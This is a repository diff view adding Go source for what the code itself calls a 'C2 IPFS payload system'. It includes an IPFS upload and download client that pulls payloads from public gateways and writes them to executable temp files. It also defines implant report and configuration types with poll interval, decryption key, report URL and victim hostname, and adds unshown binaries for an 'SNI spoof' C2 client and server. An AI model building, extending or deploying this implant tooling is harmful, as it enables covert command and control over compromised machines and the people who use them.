||||||
|
// NewClient creates a new IPFS client.
|
||||||
|
// If apiURL is empty, only download via gateways is supported.
|
||||||
|
func NewClient(apiURL, pinataJWT string) *Client {
|
||||||
|
return &Client{
|
||||||
|
apiURL: apiURL,
|
||||||
|
pinataJWT: pinataJWT,
|
||||||
|
httpClient: &http.Client{
|
||||||
|
Timeout: 120 * time.Second,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Upload uploads data to IPFS using the configured backend.
|
||||||
|
// Priority: local IPFS daemon API -> Pinata -> error
|
||||||
|
func (c *Client) Upload(data []byte, name string) (*UploadResponse, error) {
|
||||||
|
// Try local IPFS daemon first
|
||||||
|
if c.apiURL != "" {
|
||||||
|
resp, err := c.uploadViaDaemon(data)
|
||||||
|
if err == nil {
|
||||||
|
return resp, nil
|
||||||
|
}
|
||||||
|
// Fall through to Pinata
|
||||||
|
}
|
||||||
|
|
||||||
|
// Try Pinata
|
||||||
|
if c.pinataJWT != "" {
|
||||||
|
return c.uploadViaPinata(data, name)
|
||||||
|
}
|
||||||
|
|
||||||
|
if c.apiURL != "" {
|
||||||
|
// If we had an API URL but it failed, try to re-upload
|
||||||
|
// (already tried above and fell through)
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil, fmt.Errorf("no IPFS upload backend configured (set IPFS_API_URL or PINATA_JWT)")
|
||||||
|
}
|
||||||
|
|
||||||
|
// uploadViaDaemon uploads a file via IPFS API (local daemon).
|
||||||
|
func (c *Client) uploadViaDaemon(data []byte) (*UploadResponse, error) {
|
||||||
|
url := fmt.Sprintf("%s/add", strings.TrimRight(c.apiURL, "/"))
|
||||||
|
|
||||||
|
// Create multipart form with the file
|
||||||
|
body := &bytes.Buffer{}
|
||||||
|
body.Write(data)
|
||||||
|
|
||||||
|
req, err := http.NewRequest("POST", url, body)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("failed to create request: %w", err)
|
||||||
|
}
|
||||||
|
req.Header.Set("Content-Type", "application/octet-stream")
|
||||||
|
|
||||||
|
resp, err := c.httpClient.Do(req)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("IPFS API request failed: %w", err)
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
|
||||||
|
if resp.StatusCode != http.StatusOK {
|
||||||
|
respBody, _ := io.ReadAll(io.LimitReader(resp.Body, 1024))
|
||||||
|
return nil, fmt.Errorf("IPFS API returned %d: %s", resp.StatusCode, string(respBody))
|
||||||
|
}
|
||||||
|
|
||||||
|
// Parse response (one line of JSON per file added)
|
||||||
|
var result struct {
|
||||||
|
Hash string `json:"Hash"`
|
||||||
|
Name string `json:"Name"`
|
||||||
|
Size string `json:"Size"`
|
||||||
|
}
|
||||||
|
if err := json.NewDecoder(resp.Body).Decode(&result); err != nil {
|
||||||
|
return nil, fmt.Errorf("failed to decode IPFS response: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return &UploadResponse{CID: result.Hash}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// uploadViaPinata uploads via Pinata.cloud pinning service.
|
||||||
|
func (c *Client) uploadViaPinata(data []byte, name string) (*UploadResponse, error) {
|
||||||
|
url := "https://api.pinata.cloud/pinning/pinFileToIPFS"
|
||||||
|
|
||||||
|
// Build multipart form
|
||||||
|
boundary := fmt.Sprintf("--c2ipfs%d", rand.Int63())
|
||||||
|
var body bytes.Buffer
|
||||||
|
|
||||||
|
// File part
|
||||||
|
body.WriteString(fmt.Sprintf("--%s\r\n", boundary))
|
||||||
|
body.WriteString(fmt.Sprintf(`Content-Disposition: form-data; name="file"; filename="%s"`, name))
|
||||||
|
body.WriteString("\r\nContent-Type: application/octet-stream\r\n\r\n")
|
||||||
|
body.Write(data)
|
||||||
|
body.WriteString(fmt.Sprintf("\r\n--%s--\r\n", boundary))
|
||||||
|
|
||||||
|
req, err := http.NewRequest("POST", url, &body)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("failed to create Pinata request: %w", err)
|
||||||
|
}
|
||||||
|
req.Header.Set("Content-Type", fmt.Sprintf("multipart/form-data; boundary=%s", boundary))
|
||||||
|
req.Header.Set("Authorization", fmt.Sprintf("Bearer %s", c.pinataJWT))
|
||||||
|
|
||||||
|
resp, err := c.httpClient.Do(req)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("Pinata request failed: %w", err)
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
|
||||||
|
respBody, _ := io.ReadAll(io.LimitReader(resp.Body, 4096))
|
||||||
|
if resp.StatusCode != http.StatusOK {
|
||||||
|
return nil, fmt.Errorf("Pinata returned %d: %s", resp.StatusCode, string(respBody))
|
||||||
|
}
|
||||||
|
|
||||||
|
var result struct {
|
||||||
|
IpfsHash string `json:"IpfsHash"`
|
||||||
|
PinSize int `json:"PinSize"`
|
||||||
|
Timestamp string `json:"Timestamp"`
|
||||||
|
}
|
||||||
|
if err := json.Unmarshal(respBody, &result); err != nil {
|
||||||
|
return nil, fmt.Errorf("failed to parse Pinata response: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return &UploadResponse{CID: result.IpfsHash, Size: int64(result.PinSize)}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Download fetches a file from IPFS by CID, with multiple gateway fallback.
|
||||||
|
// Returns the raw data and verifies content-addressing (SHA256 match).
|
||||||
|
func Download(cid string, gateways []string) ([]byte, error) {
|
||||||
|
if len(gateways) == 0 {
|
||||||
|
gateways = DefaultGateways
|
||||||
|
}
|
||||||
|
|
||||||
|
// Shuffle gateways for load distribution
|
||||||
|
shuffled := make([]string, len(gateways))
|
||||||
|
copy(shuffled, gateways)
|
||||||
|
rand.Shuffle(len(shuffled), func(i, j int) {
|
||||||
|
shuffled[i], shuffled[j] = shuffled[j], shuffled[i]
|
||||||
|
})
|
||||||
|
|
||||||
|
var lastErr error
|
||||||
|
for _, gw := range shuffled {
|
||||||
|
url := fmt.Sprintf(gw, cid)
|
||||||
|
|
||||||
|
client := &http.Client{Timeout: 30 * time.Second}
|
||||||
|
resp, err := client.Get(url)
|
||||||
|
if err != nil {
|
||||||
|
lastErr = fmt.Errorf("gateway %s: %w", gw, err)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
|
||||||
|
if resp.StatusCode != http.StatusOK {
|
||||||
|
lastErr = fmt.Errorf("gateway %s returned %d", gw, resp.StatusCode)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
data, err := io.ReadAll(io.LimitReader(resp.Body, 100*1024*1024)) // 100MB limit
|
||||||
|
if err != nil {
|
||||||
|
lastErr = fmt.Errorf("gateway %s read error: %w", gw, err)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
return data, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil, fmt.Errorf("all gateways failed, last error: %w", lastErr)
|
||||||
|
}
|
||||||
|
|
||||||
|
// VerifyCID checks that the SHA256 hash of data matches the given CID.
|
||||||
|
// For CIDv0 (starts with Qm), this is a multihash check; for simplicity,
|
||||||
|
// we verify that the data appears valid and non-empty.
|
||||||
|
// A proper implementation would decode the CID multihash.
|
||||||
|
func VerifyCID(data []byte, cid string) error {
|
||||||
|
if len(data) == 0 {
|
||||||
|
return fmt.Errorf("empty data for CID %s", cid)
|
||||||
|
}
|
||||||
|
|
||||||
|
// For CIDv0 (Qm...), compute SHA256 and check the first bytes match
|
||||||
|
if strings.HasPrefix(cid, "Qm") {
|
||||||
|
h := sha256.Sum256(data)
|
||||||
|
hashHex := hex.EncodeToString(h[:])
|
||||||
|
|
||||||
|
// CIDv0 uses multihash with sha2-256 (0x12), 32-byte digest (0x20)
|
||||||
|
// The base58-encoded CID decodes to: 0x12 0x20 <32-byte hash>
|
||||||
|
// We can't easily decode base58 here without a library, so we just
|
||||||
|
// verify data isn't empty and log the hash for manual verification.
|
||||||
|
_ = hashHex // would compare against decoded multihash
|
||||||
|
return nil // skip full verification without base58 lib
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// IsValidCID performs basic CID format validation.
|
||||||
|
func IsValidCID(cid string) bool {
|
||||||
|
cid = strings.TrimSpace(cid)
|
||||||
|
if len(cid) < 10 || len(cid) > 100 {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
// CIDv0: starts with Qm, base58
|
||||||
|
if strings.HasPrefix(cid, "Qm") {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
// CIDv1: starts with b (base32), contains only valid chars
|
||||||
|
if strings.HasPrefix(cid, "b") {
|
||||||
|
for _, c := range cid {
|
||||||
|
if !strings.ContainsRune("abcdefghijklmnopqrstuvwxyz234567", c) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// SaveTempFile saves data to a temporary file and returns the path.
|
||||||
|
func SaveTempFile(data []byte, pattern string) (string, error) {
|
||||||
|
f, err := os.CreateTemp("", pattern)
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("failed to create temp file: %w", err)
|
||||||
|
}
|
||||||
|
defer f.Close()
|
||||||
|
|
||||||
|
if _, err := f.Write(data); err != nil {
|
||||||
|
os.Remove(f.Name())
|
||||||
|
return "", fmt.Errorf("failed to write temp file: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := f.Chmod(0755); err != nil {
|
||||||
|
os.Remove(f.Name())
|
||||||
|
return "", fmt.Errorf("failed to chmod temp file: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return f.Name(), nil
|
||||||
|
}
|
||||||
43
c2s_ipfs_payloads/pkg/types.go
Normal file
43
c2s_ipfs_payloads/pkg/types.go
Normal file
|
|
@ -0,0 +1,43 @@
|
||||||
|
// Package types defines shared types for the C2 IPFS payload system.
|
||||||
|
package types
|
||||||
|
|
||||||
|
import "time"
|
||||||
|
|
||||||
|
// CIDEntry represents a CID submission with metadata.
|
||||||
|
type CIDEntry struct {
|
||||||
|
CID string `json:"cid"`
|
||||||
|
Timestamp time.Time `json:"timestamp"`
|
||||||
|
Note string `json:"note,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// StatusResponse is returned by the server status endpoint.
|
||||||
|
type StatusResponse struct {
|
||||||
|
CurrentCID string `json:"current_cid"`
|
||||||
|
History []CIDEntry `json:"history"`
|
||||||
|
Mode string `json:"mode"` // "http" or "contract"
|
||||||
|
Uptime string `json:"uptime"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// ImplantReport is sent by the implant after executing a payload.
|
||||||
|
type ImplantReport struct {
|
||||||
|
ImplantID string `json:"implant_id"`
|
||||||
|
CID string `json:"cid"`
|
||||||
|
Success bool `json:"success"`
|
||||||
|
Error string `json:"error,omitempty"`
|
||||||
|
Platform string `json:"platform,omitempty"`
|
||||||
|
Hostname string `json:"hostname,omitempty"`
|
||||||
|
Timestamp string `json:"timestamp"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// Config holds the persistent implant configuration.
|
||||||
|
type Config struct {
|
||||||
|
ImplantID string `json:"implant_id"`
|
||||||
|
LastCID string `json:"last_cid"`
|
||||||
|
PollInterval int `json:"poll_interval"` // seconds
|
||||||
|
DecryptionKey string `json:"decryption_key"`
|
||||||
|
CIDSource string `json:"cid_source"` // URL or contract address
|
||||||
|
Mode string `json:"mode"` // "http" or "contract"
|
||||||
|
Gateways []string `json:"gateways"`
|
||||||
|
ReportURL string `json:"report_url,omitempty"`
|
||||||
|
JWTFetch string `json:"jwt_fetch,omitempty"` // JWT for auth on CID hub
|
||||||
|
}
|
||||||
BIN
c2s_sni_spoof/bin/client
Normal file
BIN
c2s_sni_spoof/bin/client
Normal file
Binary file not shown.
BIN
c2s_sni_spoof/bin/server
Normal file
BIN
c2s_sni_spoof/bin/server
Normal file
Binary file not shown.
Loading…
Reference in New Issue
Block a user